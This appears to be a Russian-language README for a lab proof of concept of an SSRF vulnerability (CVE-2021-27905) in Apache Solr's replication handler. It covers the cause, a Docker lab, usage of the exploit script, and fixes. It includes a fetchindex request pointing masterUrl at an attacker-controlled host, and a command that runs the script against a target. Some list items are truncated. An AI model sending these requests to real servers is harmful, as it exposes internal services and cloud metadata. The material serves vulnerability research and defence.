
Apache Solr < 8.8.2 Подделка запросов на стороне сервера
| № п/п | Название |
|---|---|
| 1 | Обзор |
| 2 | Корневая причина |
| 3 | Доказательство концепции |
| 4 | Устранение (8.8.2+) |
| 5 | Ссылки |
Только для образовательных и исследовательских целей. Не используйте этот код в системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Я не несу ответственности за любое неправомерное использование.
Это уязвимость типа «подделка запроса на стороне сервера» (SSRF), затрагивающая Apache Solr (версии до 8.8.2), которая позволяет удалённым злоумышленникам выполнять произвольные HTTP-запросы к внутренним или внешним системам через параметр masterUrl обработчика репликации, что может привести к раскрытию внутренних сервисов или чувствительных метаданных облачной среды.
Затронутые версии : Все версии до 8.8.2 (7.0.0 – 7.7.3, 8.0.0 – 8.8.1)
Механизм репликации в Solr позволяет «реплике» загружать индексные файлы с «мастера/лидера» путём указания параметра masterUrl или leaderUrl. URL, на который указывает этот параметр, недостаточно проверяется в затронутых версиях Apache Solr. Таким образом, это позволяет злоумышленникам заставить сервер обращаться к удалённому ресурсу по их выбору.
Уязвимый поток
/solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>
Solr's ReplicationHandler:
masterUrl для загрузки данных индекса.НАСТРОЙКА ЛАБОРАТОРИИ
$ cd lab
$ docker compose up -d
# проверить доступность
$ curl http://127.0.0.1:8983/solr
$ docker compose down
ЭКСПЛУАТАЦИЯ
# для windows
$ python -m venv <NAME>
$ .\<NAME>\Scripts\activate
# для linux
$ python3 -m venv <NAME>
$ source ./<NAME>/scripts/activate
$ pip install -r requirements.txt
cve-2021-27905.py$ python3 cve-2021-27905.py --target <TARGET> --payload <SSRF_PAYLOAD>

В ReplicationHandler Solr были внесены исправления:
masterUrl/leaderUrl указывает только на разрешённые хосты.http, https)./replication с помощью аутентификации или полностью удалить его, если он не используется.